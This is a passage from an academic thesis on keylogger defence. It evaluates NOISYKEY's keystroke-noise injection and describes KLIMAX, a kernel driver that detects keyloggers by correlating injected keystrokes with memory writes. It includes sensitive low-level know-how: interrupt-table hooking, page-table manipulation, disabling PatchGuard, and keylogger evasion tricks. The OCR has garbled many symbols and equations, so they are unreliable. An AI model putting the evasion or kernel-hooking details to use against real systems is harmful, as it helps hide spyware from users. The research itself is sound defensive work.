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Figure 4.3: Impact of dmax on performance and accuracy.

As discussed in Section 4.2, the injection cycle of the Injector Thread can
be configured by tuning the time interval between consecutive runs I;. Small
time intervals yield a more prolific noise generation, but can also degrade
performance. The performance impact is also influenced by the number of
dummy keystrokes injected at each run. For these reasons, it is crucial to
carefully choose both the value of I; and the parameters of Uniformy. The
maximum distribution value dp,ax, in particular, should be tuned to achieve
an optimal privacy-performance tradeoff. To evaluate the performance hit
perceived by the user, we focus on two different measurements: the CPU load
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and the keystroke latency, i.e., the delay between the physical generation of
a keystroke and the final keydown event in the intended application. Fig-
ure 4.3 shows the results for I; = 10ms, and d,,x varying between 1 — 1450
keystrokes/run. The average keystroke latency remains steady at 250ms for
dmax < 900. On the other hand, the CPU load increases linearly, breaking
the 50% boundary when the distribution Uniformy is configured to inject a
maximum of 900 keystrokes/run.
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Figure 4.4: Impact of I; on performance and accuracy.

Figure 4.3b visually depicts the outcome of the y? tests performed on
all the random variables. Results are averaged over all the subjects in the
dataset. The time interval associated to each random variable was set to
T; ; = 100ms, but we obtained similar results with other values. Each random
variable was tested twice, yielding two different sets of bars. In the first
row, we report the outcome of evaluating S; U Sq ~, Syer- The second row
further verifies that the exhibited behavior matches the intended distribution
by testing the timings produced by S,USq4 against the underlying distribution.
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We performed as many x? tests as the number of time intervals in which the
random variables are defined. The results are aggregated in a single bar
depicting the percentage of success for each value of dp,,x. The experiment
shows that all the random variables are negatively affected by low values of
dmax- The reason is that, for those values, the intensity of the user activity
dominates that of the dummy keystroke sequences. However, setting dy.x =
200 is sufficient to obtain a 100% success rate for all the random variables.
The same value in Figure 4.3a yields a CPU load of less than 10% and a
perceived latency of 240ms, values that are typically sufficient in real-time
interactions [20].

The second batch of experiments in Figure 4.4 depicts the effect of vary-
ing Iy (dmax = 400). Since the Injector Thread is queried every time some
keystrokes are issued to the user application, we expect low I; values to yield
low keystroke latencies and high CPU load. Figure 4.4a confirms this intu-
ition. A reasonable tradeoff is found at 50ms, as both latency and CPU load
are still within acceptable values, i.e., 250ms and 21% respectively. For these
values, Figure 4.4b shows that S, is 0.01-undetectable in all cases with the
notable exception of the variable Y 7, ; (k), which yields low success rates for
I; > 100. This demonstrates that the exhibited distribution of scancodes is
highly dependent on the overall keystroke rate, which in turn decreases for
higher values of I;. However, we note that an injection cycle I; = 50ms is
sufficient to obtain a 100% success rate.

4.5.3 Effectiveness

Figure 4.5 shows the last experiment of this section. In particular we want
to ascertain whether the window of observation, i.e., the time interval of each
random variable, influences the privacy our solution provides.
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Figure 4.5: Impact of the attacker’s observation window on accuracy.

This experiment is rather interesting as it aims to simulate an adversary
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whose goal is to reduce his window of observation in order to seize any change
on the underlying distributions, and thus observing a modification on the ex-
hibited keystroke timings. The results (with the Injector Thread spinning
every 10ms and a maximum injection rate of 400 keystrokes per spin) shows
that the user activity is 0.01-undetectable in almost 100% of the cases re-
gardless of the adopted window of observation. Similar percentages can be
observed regardless of the subject. Figure 4.6 shows the results of our sta-
tistical tests for all the 51 subjects in the dataset. In almost all the cases,
our technique was able to make the keystroke sequences 0.01-undetectable, a
value realistically sufficient to safeguard the privacy of the user.

4.6 Conclusions

We presented NOISYKEY, a technique that allows the user to live together
with a keylogging malware without putting his privacy at stake. The key
idea is to confine the user private data in a noisy event channel flooded with
artificially generated keystroke activity. Our technique transparently allows
legitimate applications to recover the original data, while exposing the key-
logger to the original noisy stream. Our evaluation shows that the resulting
stream of data is statistically undetectable from arbitrary stream of data. We
also implemented our technique as a library, and tested it on modern oper-
ating systems and applications. Our work shows a new interesting paradigm
in dealing with malicious software, and we believe that possible extensions to
other domains are worth investigating.
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Privileged Detection of Keylogging Malware

5.1 Introduction

In Chapter 3 we presented KEYSLING, an unprivileged solution to detect user-
space keyloggers. The behavioral characterization there introduced, assumed
that a keylogging activity was somehow always translated to the capture and
the immediate leakage of the keystrokes. As we investigated in the remainder
of this chapter, this is not always the case; a keylogger could postpone the
leakage very far in the future by storing the intercepted keystrokes into an
ever-growing buffer, and thereby evading detection. Unfortunately, this is the
case of those keyloggers typically embedded in privacy-breaching malware,
e.g., spyware. In this context, the malicious application strives to conceal its
presence, and postpones the actual leakage as much as possible. Note that
also in this case the keyloggers in question can be considered of either TYPE
I or TypE II. TYPE III keyloggers, which are exclusively implemented as
add-ons to existing applications, will be dealt with in Chapter 6.

In this chapter, we propose a new approach specifically tailored to detect-
ing privacy-breaching malware containing any form of keylogging activities.
Our approach, this time requiring a privileged execution environment, is still
behavior-based but it profiles memory writes rather than I/O activity. The
basic idea is to analyze the correlation between the distribution of user-issued
keystrokes and the resulting memory writes performed by the malware to har-
vest sensitive data. High correlation values translate to immediate detection.

Note that our approach does not rely on the observation of the actual leak-
age of sensitive data, but instead leverages the key intuition that identifying
information harvesting is sufficient to infer malicious behavior. As a result, all
malware evasion techniques that conceal or delay information leakage are not
a concern for our detection technique. Another fundamental design choice is
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to adopt a fine-grained profiling strategy, to isolate the keylogging behavior
from other concurrent activities. Our analysis shows that this is crucial to
eliminate additional sources of false negatives, since privacy-breaching mal-
ware often performs many concurrent activities, possibly including those to
actively disorient behavior-based detection strategies.

A much more effective concealment technique is given by trigger-based
behavior, namely malware that only starts actively harvesting sensitive data
when triggered by some, possibly external (e.g., bot command), events. This
modus operandi poses a serious challenge to all the known behavior-based
detection techniques, since failing to trigger the intended behavior either at
learning or detection time results in poor detection accuracy. The proposed
design addresses this challenge allowing our detection strategy to work in both
proactive and reactive mode. Proactive detection is activated directly by the
user. In reactive mode, our behavior analysis is automatically activated on
demand whenever a candidate malicious application is recognized at runtime.
This strategy is feasible due to the distinctive runtime characteristics of the
keylogging activity, as better explained later.

All these countermeasures against evasion and concealment techniques al-
low our approach to achieve a very low false negative rate. In the remainder
of the chapter, we also show how careful design strategies allow our detec-
tion technique to achieve a very low number of false positives as well. To
summarize, the contributions of this chapter are the following:

¢ A new behavior-based detection model based on memory write pat-
tern profiling, which is particularly suited for privacy-breaching malware
exhibiting keylogging behavior.

¢ Design and implementation of KLIMAX: a Kernel-Level Infrastructure
for Memory And eXecution profiling based on our new model and ready
to be transparently deployed online on a running Windows platforms.

e Evaluation against real-world malware and against legitimate appli-
cations that leverage keystroke-interception functionalities.

5.2 Background

Our behavioral model is based on the intuition that the malware actively
harvests keystrokes and strives to conceal the related leakage. No assumption
is made on the malware internals. Instead, to detect any possible form of
keystrokes harvesting, we base our analysis on memory write patterns that
necessarily emerge from the keylogging behavior.

We adopt two important concepts from our previous solution discussed
in Chapter 3: first, we again control the input of the system, i.e., the pat-
tern of the issued keystrokes. By obtaining a detection environment where
the input to the system is known, we can compare it to the memory write
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patterns a process exhibits. Second, we rely on the Pearson product-moment
Correlation Coefficient (PCC) to determine the correlation between the two
patterns. The reason of this choice is twofold. First, the detailed analysis
made in Section 3.3.4 provides a solid background to use PCC as a metric
to infer malicious behavior. Second, the level of granularity of our detection
technique advocates for a detection strategy that is robust against arbitrary
data transformations that reflect the complexity of memory write activity.
This allows us to ignore the mere amount of bytes written due to an inter-
cepted keystroke. However, in order to do any statistical analysis, we must be
able to map both the input pattern to a stream of keystrokes, and the amount
of bytes written to an output pattern. We address this concern by adopting
the same abstract keystroke representation introduced in Section 3.3.3 which
discretized and normalized the stream. Each sample is stored as a rescaled
form in the interval [0,1] where 0 and 1 represents the minimum and the
maximum number of keystrokes. A pattern can be transformed in a stream
of keystrokes by instantiating the following configuration parameters: N as
the number of samples in the pattern, T as the time interval between two
successive samples, and K,;in, Kmae for the minimum and maximum num-
ber of keystrokes per sample allowed. To transform a pattern in a stream of
keystrokes for the time interval i, we use Equation 3.1 to compute the average
rate R; (both equations are reported for the sake of clarity):

R o Pz : (Kmaac - szn) + szn
i — T :

Similarly, we rely on Equation 3.2 to transform the amount of bytes written
in a generic time interval 7 into the value of the sample P;:

:Ri'T_Kmin

P;
Kmaa: - szn

We now introduce the building blocks of the architecture underlying our ap-
proach.

5.3 Our Approach

In our approach we aim to determine the correlation between the stream of
issued keystrokes and the memory writes a process exhibits. In case of high
correlation between the two, the monitored process is flagged as malware with
keylogging behavior. The general intuition is depicted in Figure 5.1.

It is important to notice that in our approach we inject the keystrokes
without any application on the foreground. This is to explicitly trigger any
eavesdropping behavior in the background, and, at the same time, avoid the
common case of a simple word-processing application raising false alarms.
As Figure 5.1 suggests, if Firefox was not kept running in the background,
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Figure 5.1: The intuition leveraged by our approach in a nutshell.

a simple correlation test would flag both Firefox and actual keylogger as
processes highly correlated with the user input.

Profiling memory writes is a fairly complex task. First, even a simple
program performs a huge amount of memory writes in a short period of time.
Second, memory management, in the modern x86 architecture, is partly re-
sponsibility of the operating system (OS) and partly delegated to the hard-
ware. While software-managed events like page-faults are in complete control
of the OS, tasks that occur more frequently like linear-to-physical address
translations are performed directly by the hardware. The OS has no means
to intercept or monitor these events. Performing differential analysis over
multiple memory snapshots is another loose end: multiple writes performed
on the same memory location would be detected as a single memory write.

The complexity of this challenge advocates for a low-level solution. Since
we wanted our solution to be widely adopted and ready to be deployable
in existing production systems, we ruled out the option of using any form
of software or hardware virtualization support, and opted for a kernel-level
solution. Although solutions to virtualize running systems have been recently
explored [56; 68], the choice of a kernel-level solutions is also crucial to access
detailed information on execution contexts and memory regions that is only
available in the kernel. Knowledge about the running thread and the DLL
being used serves to our fine-grained analysis to better isolate and profile the
keylogging behavior among the many possible concurrent activities performed
by the malware. An obvious requirement is also the ability to access this
information in a thread-safe manner.

In exchange for a low-level development environment, operating in kernel-
space provides us with many advantages: we can intercept and to some extent
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Figure 5.2: High-level architecture. MPC stands for Memory Performance Counter and
it represents the performance counter describing the memory activity of a thread in a
particular memory region.

control the memory management, override the kernel data structures, access
real-time information, and most importantly, isolate our infrastructure from
user-space threats thus adopting a limited trusted computing base (TCB).
This allows us to target a broad class of keylogging malware, only ruling out
kernel rootkits. In addition, kernel-level events can be intercepted and used
to trigger malware analysis on demand when using our detection technique
in reactive mode, as better explained in Section 5.6.

Figure 5.2 displays a high level view of our solution as a three-tier architec-
ture. The three components are the monitor, implemented by the monitoring
infrastructure termed KrLiMAX, the injector, and the detector. Even if in our
solution the detector is implemented as a user-space component, it can be
easily moved into the kernel to further limit the TCB running in user-space.
The monitor, i.e., KLIMAX, exposes a memory write performance counter to
the injector, and is divided into two sub-components, the shadower and the
classifier. The former takes care of intercepting each memory write performed
by the monitored process. The latter classifies which memory region has to
be monitored, and which memory write has to be counted.

Given a process to be analyzed for keylogging activities, our detection tech-
nique works as follows. First, we move the focus of the graphical user inter-
face to the desktop. Then, the detector instructs the monitor to intercept the
memory writes of the target process. The classifier determines which mem-
ory regions are of interest, and for those, the monitor instructs the shadower
to intercept any memory access. The detector, after establishing the nature
and length of the pattern to be used, sends its stream representation to the
injector. The injector has now knowledge of the number of keystrokes it has
to inject for each time interval. The detection process can now start: for each
sample, the injector issues the determined number of keystrokes, and notifies
the monitor upon termination. The monitor, then, replies with the memory
writes that took place (both divided on a per-thread and on a per-memory-
region basis). Upon injection of all the samples, the injector assembles all
the memory writes in a set of Memory Performance Counters (again, one for
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each combination of thread and memory region). The MPCs so-assembled
are finally forwarded to the detector to be transformed into the respective
pattern representations. The detector can now compute the respective cor-
relations against the pattern previously injected. If any of the correlations is
statistically significant, the process is flagged as a keylogging malware.

The solution hereby explained has been implemented for Windows XP
32-bit version, but the general design is applicable to other OSes as well. The
kernel has been configured to run in single processor mode and without taking
advantage of the Physical Address Extension (PAE). All the components can
be easily updated to handle PAE and SMP kernels. Porting the implementa-
tion to either Windows Vista or Windows 7 requires the user to disable the
PatchGuard security protection.

5.3.1 Detector

The pattern generation is the most important task carried out by the detec-
tor. As we explained in Section 5.2, a pattern is defined in terms of multiple
parameters (N, T, Kpin, and Kp,4,) and a characteristic function that de-
scribes the underlying pattern distribution. In order to generate a pattern
representation from these input specifications we used the statistical suite
R [75]. To obtain low predictability of the pattern in question, we leverage
all the standard random distributions supported by R. Throughout our tests
adopting different distributions and parameters yielded comparable accuracy
results, as we already confirmed with KEYSLING in Chapter 3. Upon com-
pletion of the injection, the detector receives a detailed report of the memory
writes the process performed. The report includes a set of write patterns
classified per code segment and thread. Each of these patterns is further cat-
egorized basing on the written memory regions (data, stack, or heap). The
detection process terminates with a correlation test against all the output
patterns found. The process is then flagged as malicious when at least one of
those shows a PCC > 0.70.

5.3.2 Injector

The injector runs in kernel space and is implemented as a virtual keyboard
driver. Once it receives the injection pattern sent by the detector, it converts
it into a stream of keystrokes, and starts injecting the samples. After each
sample it retrieves the write counters from the monitor. Once the whole
injection terminates, it forwards the write results to the detector. It may
be argued that simpler solutions exist. For instance, the library function
SendInput would have allowed us to run the whole component in user space,
thus reducing the overall complexity. However, in order to keep a limited TCB
and a higher-priority injection we opted again for a kernel-level solution.
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5.3.3 Monitor

In the x86 architecture a memory access is cooperatively handled by the CPU
and the operating system (OS). Each time a linear address is referenced, the
CPU checks for its validity. When the physical page is either not present
or reserved, the CPU page faults, i.e., it asserts the 0xOE interrupt. It also
pushes in the stack contextual information such as the faulting address, the
error code, and the current instruction pointer. The control is then passed to
the OS kernel and in the particular to the interrupt handler whose task is to
invoke the kernel component in charge of resolving the fault.

The monitor is implemented by KLIMAX in a kernel-driver, and it is placed
in the middle of this execution flow. The main idea is to protect all the ad-
dress space of a process such that each memory access translates to a memory
access violation. By intercepting each time the CPU asserts the page fault
interrupt, we can identify the faulting instruction, disassemble it, and cal-
culate the number of bytes the instruction attempted to access. To let the
program gracefully resume its execution the protection is then temporarily
disabled. The protection, however, must be re-enabled immediately, as sub-
sequent instructions accessing the memory would pass otherwise unnoticed.
This can be achieved by leveraging a built-in feature of the x86 architecture
known as “single step”. When enabled by setting the trap flag in the eflags
register, the CPU asserts the debug interrupt (0x01) prior to execution of the
following instruction, granting us the perfect time slot for protecting back
the accessed memory region. The driver is divided in two logical compo-
nents termed shadower and classifier implementing the logic outlined so far.
Those two components are in turn invoked on-demand by two custom inter-
rupt handlers. By means of these, the execution flow is selectively rerouted
based on which process is currently running, and if that process is scheduled
for analysis.

Interrupt Handlers

KLIMAX installs two customized interrupt handlers for both 0xOE and 0x01
interrupts by modifying the processor’s Interrupt Descriptor Table (IDT).
These two handlers are the only entry points needed to selectively unprotect
and protect the accessed memory regions. As they are invoked regardless of
the running process, it is of extreme importance to keep them as simple and
fast as possible. Luckily, since each process can be uniquely identified by
the address of its page directory, checking whether a process is scheduled for
analysis is a matter of comparing which page directory is loaded in the cr3
register. In approximately 10 instructions both handlers carry out this check
and, in case of no match, invoke the original interrupt handlers.




70 CHAPTER 5. PRIVILEGED DETECTION OF KEYLOGGING MALWARE

Kernel-land (ring 0) Kernel-land (ring 0)
Page Page-fault Page Page-fault
Tables @\*Q(', Handler Tables Handler
>
S en (3) Restore tt o (3) Override hY
i Klimax PTE / Klimax PTE -
@) i @) i

Update Shadow

payoAu| Ja|pueH jdnuajuj yney-abed
Debug Interrupt Handler Invoked

Counters Query
(6) 1)
Single Single
Step Monitored Monitored Step
Process Process
User-land (ring 3) User-land (ring 3)
(a) (b)

Figure 5.3: The internals of KLIMAX. In particular, how the shadower and the classifier
cooperate with the rest of the system to keep a record of the program’s memory writes.

Shadower

As soon as we instruct KLIMAX to monitor a process, the shadower asks the
classifier which memory regions shall be protected, and hence monitored. The
classifier reports back the corresponding set of page table entries (PTEs). The
shadower protects the selected memory regions by overriding the PTEs’ ac-
cess control bits in such a way that that any further memory access triggers
a memory violation, and thus a page-fault. There are two different strate-
gies to do so: by marking the PTE super-user (and thus setting the owner
bit to 0) or read-only (and thus setting the write bit to 0). In either cases
the shadower creates a shadow copy of the access control bits. The choice
is analysis-dependent: by write-protecting the memory regions we can only
collect statistics on a limited (only writes) class of memory accesses; on the
other hand, the decreased number of page-faults would also make the analysis
faster and, as a consequence, reduce the overhead imposed to the user. Luck-
ily, detection of keylogging behaviors leverages the intuition that only memory
writes are a good predictor of keystroke leakage. Overriding the write bit
invokes the page-fault routines exactly when a write is taking place and, at
the same time, allows the analyzed process to avoid unnecessary page-faults.

In both cases the TLB must be flushed as the it may be caching virtual-
to-physical address resolutions of memory regions now protected. Figure 5.3a
depicts what now happens when a memory address is referenced. When this
occurs, the shadower (i) reverse-lookups the PTE that references the faulting
address, then, if the PTE is valid, it replaces the Owner bit (or the Write bit)
with its original value; (ii) sets the trap flag in the pushed eflags register;
(iii) stores the address that caused the page fault along with the current
thread identifier in a private buffer and invokes the classifier to update its
statistics. Finally the control is given to the real interrupt handler KiTrapOE.
The function MmAccessFault can now determine the real reasons of the page
fault. In case no reason is found, that is the page was valid and the page
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fault took place only because of the shadower, the kernel gracefully resumes
the program’s execution. In any other case the kernel transparently executes
all the steps required to resolve the page fault.

When the program resumes its execution, the very same instruction is
executed for a second time. Once all the referenced memory regions are un-
protected (multiple PFs may occur for the same instruction), the execution
continues until the following instruction when, because of the set TF flag, the
processor asserts the debug interrupt (Figure 5.3b). As a consequence, the
shadower is again invoked (this time via the 0x01 interrupt handler). It now
checks which memory address previously faulted when the current thread was
executing, it reverse-lookups the PTE and replaces the protection bit with the
shadowed copy, and eventually flushes the TLB entry via the invlpg instruc-
tion. There are cases in which the shadower does not have a shadow copy for
that PTE yet. This happens when the original page fault occurred because
the page was invalid. In such cases the classifier is once again invoked, and
asked to determine whether the PTE shall be set protected.

Classifier

The classifier is invoked in two different courses of action: when the shadower
needs to determine whether a PTE shall be protected, and when it needs
to update the MPCs. To determine if a PTE shall be shadowed, the clas-
sifier analyzes the PTE content. In a number of cases, the classifier replies
negatively, for example when the PTE is not valid, or the PTE is not user
accessible. In any other case it updates the PTE’s shadow copy and replies
affirmatively to the shadower.

In case the classifier is invoked to update the MPCs, several steps are
carried out. First, the shadower uses the saved instruction pointer to look
up the instruction that generated the page fault. It then disassembles it
and extract the amount of bytes the instruction attempted to access. It also
retrieves the original ecx register’s value in case the faulting instruction was
part of the rep mov family. This is a mandatory step because a rep mov
instruction executes the mov instruction ecx times. The instruction pointer
is also used to identify the code region being executed—either a library or
the main executable—, while the memory address that originated the page
fault is used to look up the accessed memory region, i.e., either stack, heap,
or data. Once extracted all these pieces of information, the shadower finally
updates the related MPC.

5.4 Optimizing Detection Accuracy

In this section, we examine in detail how our design deals with potential
sources of false negatives and false positives to maximize detection accuracy.
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False negatives arise when a malicious application exhibiting keylogging be-
havior evades our technique and goes undetected. A first attempt for malware
to evade detection is to spawn multiple processes and multiple threads and
perform keylogging activity in any of newly created execution contexts. To
deal with this situation, our infrastructure supports simultaneous monitoring
of multiple processes and multiple threads. Keylogging behavior is inferred
from any highly-correlated MPCs (which thread or memory region does not
affect our analysis).

Another important factor to consider is that malware authors strive to
conceal the malicious behavior and exploit any possible information leakage
channel available. To deal with this scenario effectively, KLIMAX monitors
any memory writes performed by both the application code and the DLLs.
This is crucial for two reasons. First, the keylogging activity may be imple-
mented entirely in a DLL installed by the malicious application. Second, any
form of information leakage that goes beyond harvesting keystroke-related
data in memory must be mediated by the OS and typically exposed to the
application via the library interface. We have experimented at length with
many forms of information leakage, including storing keystroke-related data
on the disk, recording information in the Windows registry, or sending data
over the network. In all the cases, the memory write patterns exhibited by the
system DLLs used to carry out these tasks showed extremely high correlation
with our injected pattern.

A potential evasion strategy is to avoid using any system DLL and re-
implement the API interface entirely without any significant memory writes
that would otherwise trigger detection. While the concrete possibility of such
a strategy remains to be explored—especially in multi-threaded contexts—
, our implementation can be trivially extended to enrich the memory write
profile with commonly used in-kernel performance counters that record and
expose any form of I/O activity on a per-thread basis. In our analysis, how-
ever, we have not been able to identify any realistic example of this scenario
in practice. One final concern is for malware attempting to perform denial of
service and evade our detection technique. For example, if for each keystroke
injected a malicious application were to produce an unbearable amount of
memory writes, our in-kernel monitor may not be able to keep up with the
extremely high resulting page fault rate and get gradually out of sync with
the injector. This can potentially lower the correlation computed significantly
and evade detection in some cases. It is important to remark that a mali-
cious application performing any denial-of-service attack should also avoid
introducing an excessive delay not to miss subsequent keystrokes. To mit-
igate this effect, however, great care was taken to optimize our monitoring
implementation (i.e. no shadowing of read-only memory regions). First, we
implemented shadowing at the PTE level instead of the PDE level to achieve
better discrimination power. A single PTE maps a single page that can be
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clearly identified and classified basing on its characteristics. For example, to
avoid unnecessary page faults, KLIMAX prevents shadowing of text regions
and read-only memory regions. In addition, our implementation optionally
supports selective shadowing of memory regions in use by system DLLs, use-
ful in scenarios in which some system DLL is made part of the TCB. Finally,
our implementation avoids shadowing of transient stack regions that are used
frequently and generate unnecessary noise. More details on how to identify
those regions are given in the remainder of the section.

False positives arise when a legitimate monitored application shows high
correlation with the injected pattern and triggers detection. In our prelimi-
nary experiments, we found many examples of benign applications showing
high correlation when considering generic memory write patterns. In these
cases, the application would typically register a callback to the kernel to inter-
cept keystroke events, discriminate those of interest, and trigger some action
(i.e. launch specific application) when a match against a predefined key se-
quence was identified. The high correlation was essentially triggered by the
mechanics of invoking the programmer-provided callback—implemented in a
system DLL (i.e. USER32.d11 in the version of Windows we experimented
with)—, and by transient memory write patterns observed on the stack at
callback execution time.

To deal with these very common scenarios, our key observation is to con-
centrate the analysis exclusively on memory write patterns that clearly indi-
cate a form of information harvesting or leakage. In this light, our implemen-
tation first avoids logging any memory writes performed by USER32.d11. As
a result, this frequently-used system DLL becomes part of the TCB in our
design. We believe this is not a serious limitation, since any common secu-
rity suite solution constantly monitors system DLLs to detect any malicious
attempt to replace them. As an option, our implementation can be trivially
extended to perform similar integrity checks on core system DLLs and in-
tercept attempts to replace them. Note that USER32.d11 does not expose
any API that can be somehow exploited to leak keystroke-related data and
potentially evade our technique.

Other sources of false positives are transient memory writes on the stack
that are frequently used in the programmer-provided callback to implement
the application logic. At a first glance, one might be tempted to exclude
the stack from the analysis altogether. Unfortunately, an attacker could still
leverage long-lived regions of the stack to harvest keystroke-related data and
evade the resulting detection technique. Implementing this strategy is trivial
and only involves allocating a sufficiently-large buffer on the stack in the
entry point of the program (e.g. main()), and keeping a global pointer to
access the buffer from the callback. To provide an effective solution to both
problems, KLIMAX identifies long-lived regions of the stack during execution
automatically and excludes any other stack region from the analysis.
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To this end, we have designed an adaptive algorithm to safely identify long-
lived stack regions for existing and newly created thread stacks. Initially, the
entire stack is marked as long-lived and no memory write is excluded from
the analysis. As the execution progresses, we sample the stack pointer of
each thread under analysis at regular time intervals and update the deepest
value found. This allows us to avoid any assumption on long-lived regions at
thread initialization time when long-lived stack variables may not have been
allocated yet. When a sampled value of the stack pointer falls behind the
deepest value found, we finally observe the stack shrinking for the first time,
and our adaptive identification strategy can safely start.

The first memory range we observe at the time when the stack first shrinks
becomes the current long-lived region of the stack. As the stack keeps shrink-
ing during execution, we update the long-lived region of the stack till con-
vergence. This strategy follows the intuition that the stack pointer is always
deeper than any long-lived stack variable used by the program with the excep-
tion of samples collected at thread initialization time. Our adaptive algorithm
converges very quickly and causes only very few irrelevant memory writes on
short-lived regions of the stack to be accounted for in the analysis at initial
stages. Finally, note that ignoring short-lived regions of the stack in the anal-
ysis is hardly a concern for the generation of false negatives . An attacker can
only temporarily harvest sensitive information on short-lived stack variables
and any other global memory write pattern will still result in high correlation
and trigger detection.

5.5 Evaluation

We have evaluated KLIMAX extensively, first with a synthetic keylogger to
assess the ability to detect multiple forms of data harvesting, subsequently
experimenting with realistic benign applications and malware to evaluate our
detection accuracy in real-world scenarios. Our experiments were performed
on a personal computer equipped with a 2.13GHz Intel Core i7 processor and
4 GB memory, running Windows XP Professional SP3.

5.5.1 Synthetic Evaluation

Our synthetic keylogger is a standard Windows application written in C++
in less than 100 lines of code. Our keylogger can be configured to emulate
several forms of data harvesting, a feature which turned out to be very useful
for evaluating the robustness of KLIMAX and for regression testing purposes
during the development of the overall infrastructure.

In Table 5.1 we show the results of the most representative experiments
conducted in common keystroke harvesting scenarios. In the table we repre-
sent every output distribution of interest showing at least one non-null value
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Code Memory Global + LLStack Disk Network
Region Region SLStack Leaking Leaking
data 1 0 ~1
keylogger.exe stack 0 1 0
heap 1 0 ~1
data - - 0 0.76
ntdll.dll stack = - 0 0
heap - - ~1 0.91
data - -
kernel32.d11 stack = -
heap - - ~1 ~1
data - - - 0
mswsock.dll stack - - - 0
heap - - - 0.98
data - - - 0
wshtcpip.dll stack - - - 0
heap - - - 0.94

Table 5.1: Synthetic test cases and resulting PCC values.

within the window of observation. Output distributions were produced at the
finest level of granularity possible, to report PCC values for individual mem-
ory regions (i.e. data, stack, heap) of the program code (i.e. keylogger.exe)
and of each DLL.

For each test case, we report only a single column of the table since our
synthetic keylogger runs entirely in a single thread of execution. An exception
is the last test case, where a new thread of execution is automatically spawned
by the network libraries to establish and maintain a TCP connection. For
brevity, we only represent results obtained for the spawned thread, which
immediately reveals high PCC values as a result of the malicious network
activity. The first column of the table shows the correlation values estimated
by KLIMAX for our synthetic keylogger configured to harvest every keystroke
intercepted on the heap, on the data region, and on a stack variable allocated
at callback execution time. As expected, full correlation is found on the heap
and on the data region, while no activity was recorded and thus no correlation
is shown for the short-lived stack variable.

The second column shows correlation results for our synthetic keylogger
configured to harvest every keystroke intercepted on a long-lived stack buffer
allocated in the entry point of the program. Thanks to the quick convergence
of our adaptive algorithm to automatically track long-lived stack regions,
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full correlation is still found as a result of all the suspicious memory writes
detected on the stack. We also tested our adaptive algorithm in several ad-
verse conditions, for example, starting the analysis at initialization time or
at thread creation time. In all the cases, the number of spurious writes in
the initial stages of the algorithm was negligible and had no impact on the
overall correlation values computed.

Finally, the last two columns of the table show correlation results for two
other interesting scenarios: a keylogger logging every keystroke on the disk,
and a keylogger sending every keystroke to a remote server. In both cases, the
activity performed by the DLLs is reflected in very high correlation values that
would immediately trigger detection. Note that no DLL-originated memory
write on the stack was recorded in any of test cases. Memory activity on
the stack was only identified for short-lived variables, as expected. Also note
that the high correlation values reported for memory write patterns on the
heap and the data region in the third test case are actually produced by the
C Run-Time Libraries, which on Windows are statically linked by default.

5.5.2 Malware Detection

To evaluate the effectiveness of our detection technique, we experimented
KriMAX with real-world malware. Our analysis started with obtaining a ran-
dom sample of the malware dataset described in [79]. The original sample
included 64 entries matching at least one keylogger-like label from all the re-
sults given by VirusTotal. Out of the 64 entries initially extracted, we isolated
23 malware samples that were categorized as active in the original dataset.

For all the identified entries, we conducted extensive analysis and manual
inspection to determine the real nature of each sample and identify the pres-
ence of any relevant keystroke interception API used for keylogging purposes.
Only in a few cases, the binary was neither packed nor obfuscated and basic
static analysis was sufficient to extract the set of APIs used. In all the cases,
however, we had to repeatedly perform dynamic malware analysis to deter-
mine whether any keylogging API was actually invoked at runtime. To carry
out our analysis we experimented with the most common malware analyzers
available online. In many cases, the analysis was made extremely difficult by
malware trying to conceal and obfuscate their behavior, with explicit mea-
sures to evade several forms of static and dynamic analysis. We ran several
experiments for each malware sample considered, even in cases when no key-
logging API was detected by static or dynamic analysis. For these cases, it is
important to assess whether any other malware activity could unexpectedly
result in high PCC values and trigger detection. For all the other cases, high
PCC values are to be expected every time a malware sample exhibits any
form of keylogging behavior.

To simulate a realistic detection scenario, we assumed that no information
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was available on which of the running processes was the malware. To deal
with this setting, we first waited to system to be idle, we then ran KLIMAX
against all the processes for a limited amount of time (N =4 and T = 500),
and finally we flagged as candidate only the processes performing memory
writes during a warm-up injection phase. This first step greatly reduced the
number of candidate processes and allowed KLIMAX to examine only a few
processes in a second step. In all our experiments (and in any realistic scenario
on an idle system) the number of candidates rarely exceeded a handful of
cases, thus allowing KLIMAX to later on analyze all the remaining processes
in parallel, and minimize the detection time. During the second step of our
analysis, we instead configured KLiMAX with N = 20 and 7' = 500, and
triggered a successful detection in case of PCC values > 0.70. The remaining
configuration parameters (Kin, Kmaz, and the underlying distribution of
the pattern) played a negligible role in our experiments, hence producing
similar results using different settings.

Malware Label Keylogging API API used PCC
Backdoor.Win32.Poison.pg v v ~1
Trojan-Downloader.Win32.Zlob - - negligible
Monitor.Win32.Perflogger.ca - - negligible
Suspicious.Graybird.1 - - negligible
Trojan-Spy.Win32.SCKeyLog.am - - negligible
Backdoor.Win32.IRCBot.ebt - - negligible
Worm.MSIL.PSW.d v v 0.74
Worm.Win32.Fujack.cr - - negligible
BackDoor.Generic9.MQL v v ~1
Trojan.Win32.Agent.arim - - negligible
PSW.Agent.7.AH v v 0.78
Worm.Win32.AutoRun.adro - - negligible
Trojan.Win32.Delf.eq - - negligible
Net-Worm.Win32.Mytob. jxu - - negligible
Trojan-Spy.Win32.SCKeyLog.au - - negligible
Backdoor.Ciadoor v v 0.98
Backdoor.Win32.Agent.su v - negligible
Backdoor.Win32.G_Spot .20 - - negligible
Trojan-Spy.MSIL.KeyLogger.oa v - negligible
Downloader.Rozena - - negligible
Downloader.Banload.BDRQ - - negligible
Heur.Trojan.Generic - - negligible
PSW.Generic7.BNDX - - negligible

Table 5.2: Malware considered for analysis and resulting PCC values.
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Table 5.2 shows the results of our evaluation for the set of malware sam-
ples considered. For each sample, we show: (i) the result of our static and
dynamic analysis to identify any keylogging API; (ii) the result of our fine-
grained analysis to determine whether the keylogging API was actually used
at runtime; (iii) the maximum PCC value reported by KLiMAX for each pro-
cess and each thread created by the malware sample at runtime. Negligible
correlation is reported for PCC values below 0.1. The labels adopted to
identify each malware sample are taken from common anti-virus software—
including Kaspersky, Symantec, and AVG—depending on availability and dis-
crimination power.

As shown in the table, for 16 malware samples we were not able to identify
any keylogging API and the resulting PCC values were always negligible, as
expected. A manual inspection revealed that these samples were sometimes
misclassified, in other cases we found downloaders instructed to download
additional malicious software (i.e., the keylogging component was not part of
the original sample), in yet other cases we found privacy-breaching malware
not exhibiting keylogging behavior (e.g. stored password stealers). Further-
more, in 5 cases, where the keylogging APIs were correctly identified and also
used at runtime, KLIMAX always reported high correlation values triggering
detection. Finally, in the 2 remaining cases, we identified the presence of
keylogging APIs in the malware samples, but those APIs were never actually
